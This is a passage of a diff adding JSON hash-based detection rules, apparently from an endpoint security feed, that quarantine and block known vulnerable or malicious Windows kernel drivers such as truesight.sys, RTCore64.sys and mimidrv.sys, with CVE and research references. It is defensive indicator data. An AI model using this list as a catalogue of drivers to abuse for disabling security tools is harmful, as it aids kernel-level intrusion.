+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "413d1f175419d5fbda10ba5c013c33b6efe1ba8b762569e9a1e807dfdf7c95e1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f7d33ab-5e24-5a43-80d5-7af7e93da031",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821411Z",
+  "creation_date": "2026-03-23T11:45:31.821413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0bf7a1cb69e0d19175fad6aaf6ca07d429f06a6decc636ad221bd72e78ca36f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f7d3b82-c47c-50a1-8c68-386690484bff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148485Z",
+  "creation_date": "2026-03-23T11:45:31.148487Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148493Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7b154b1a86b758c420b19946aba1773fbe02f74fe9f37ce273408465e14ec99f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f7fbff8-dae0-529e-a3f4-428258416740",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156432Z",
+  "creation_date": "2026-03-23T11:45:31.156434Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156439Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ce80f5eadb5ad84daa4fb31691fd23799a3aed88ab9f4485a35524ec9119c9e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f8038e8-ad84-577e-a437-7e1bce149459",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829631Z",
+  "creation_date": "2026-03-23T11:45:30.829639Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "338c3f1c416ed3bd38103c35ea76b8ca9e79c903cf00c72c15794c185032de28",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f960064-4aa2-5823-9954-12e522acc763",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821385Z",
+  "creation_date": "2026-03-23T11:45:30.821388Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821397Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7553c76b006bd2c75af4e4ee00a02279d3f1f5d691e7dbdc955eac46fd3614c3",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6f99187b-0598-56fb-bfea-a910282ba4e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607900Z",
+  "creation_date": "2026-03-23T11:45:29.607902Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607908Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f37d609ea1f06660d970415dd3916c4c153bb5940bf7d2beb47fa34e8a8ffbfc",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fb9ec09-20ab-5b14-9a3a-3f7b6fc9c5cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979274Z",
+  "creation_date": "2026-03-23T11:45:29.979276Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979281Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c1c4310e5d467d24e864177bdbfc57cb5d29aac697481bfa9c11ddbeebfd4cc8",
+  "comment": "Vulnerable Kernel Driver (aka d.sys) [https://www.loldrivers.io/drivers/7a7630d6-d007-4d84-a17d-81236d9693e1/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fc33a70-602c-593d-8d12-c9913cdbcc7f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465568Z",
+  "creation_date": "2026-03-23T11:45:30.465571Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465580Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e99580e25f419b5ad90669e0c274cf63d30efa08065d064a863e655bdf77fb59",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fc68786-6956-5406-938b-eb255074a7e2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464571Z",
+  "creation_date": "2026-03-23T11:45:30.464574Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464582Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d41e39215c2c1286e4cd3b1dc0948adefb161f22bc3a78756a027d41614ee4ff",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fe26f27-6596-5e84-bd9c-1dc373053acc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.827272Z",
+  "creation_date": "2026-03-23T11:45:30.827275Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.827280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "93961c2756dc824d1d11867c294445cc18ac611082536bbe5112c7e8827da329",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fe2ff09-7355-57e3-8c58-c4944d696fa4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607961Z",
+  "creation_date": "2026-03-23T11:45:29.607963Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607969Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff8d17761c1645bdd1f0eccc69024907bbbfbe5c60679402b7d02f95b16310fe",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fe63fa7-402d-50cd-b30c-384873b9c53e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464883Z",
+  "creation_date": "2026-03-23T11:45:30.464887Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d676baac43d9e2d05b577d5e0c516fba250391ab0cb11232a4b17fd97a51e35",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fec57bd-0b69-5721-b703-bdbdf7a78ddf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614857Z",
+  "creation_date": "2026-03-23T11:45:29.614858Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614864Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6fecbb49-a0a4-5955-b328-2e663b1235a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.986031Z",
+  "creation_date": "2026-03-23T11:45:29.986033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.986039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c9fbff8b749a1f580b5b5b9e59ec3ffd769b4179970b82e32a3d36e7a3a8cb1a",
+  "comment": "Malicious Kernel Driver related to RedDriver (aka telephonuAfY.sys, spwizimgVT.sys, 834761775.sys, reddriver.sys, typelibdE.sys, NlsLexicons0024UvN.sys and ktmutil7ODM.sys) [https://blog.talosintelligence.com/undocumented-reddriver/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6ff8a788-0f4b-519f-91ef-b1218ef5d3d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615380Z",
+  "creation_date": "2026-03-23T11:45:29.615382Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615387Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "809403706c3669a0d67bd35a87f66714989d1bc66e2aa6ca5979781ae3c4fdb0",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "7008cc84-d4e2-59ec-99b2-f4085821cad1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485936Z",
+  "creation_date": "2026-03-23T11:45:31.485940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485960Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3e4562b565b106fe859f06622c2674f44ef5bb41c5144583285a408d0870e51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "700b3063-0b49-5f4c-aafc-bb2782aa5516",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471941Z",
+  "creation_date": "2026-03-23T11:45:30.471969Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471979Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb1183ef22ecbcc28f9c0a351c2c0280f1312a0fdf8a9983161691e2585efc70",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "700f6c07-750b-566b-b302-c5bb9de43933",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146928Z",
+  "creation_date": "2026-03-23T11:45:31.146930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146936Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95080c8ed5594235dbf86ab99a1f4fd22edeccecfe41241472db3975f2b7fa75",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "701e52f5-f2c5-54c6-a466-b22bfd947793",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140229Z",
+  "creation_date": "2026-03-23T11:45:31.140231Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140236Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "acea5013470978ce0b3d41c4204d0fdd3d5fd3f28cc3ecad11b33e01fc1bc1be",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "702608f7-0986-5a30-bdf0-432338f19434",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812889Z",
+  "creation_date": "2026-03-23T11:45:31.812891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ec71df85d1b89a3e7f3f9bcaf793e19ed6aca96f84c99470d0684e1004bfa345",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "702d1381-28b6-5782-a591-f463c771957a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981764Z",
+  "creation_date": "2026-03-23T11:45:29.981766Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "15b081ec83a89182b5bb0a642d56513f40810b5b0a42e904ab6d3fa8f34c0446",
+  "comment": "Malicious Kernel Driver (aka daxin_blank4.sys) [https://www.loldrivers.io/drivers/f8bddc8b-49b9-41f7-a877-d15ec3f174f9/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "703850d4-8c21-5a7c-a151-07e840e86676",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488327Z",
+  "creation_date": "2026-03-23T11:45:31.488329Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66616748bb5b41179385a9c4d1498a0b88fa38ab41f7de83df2995795f739902",
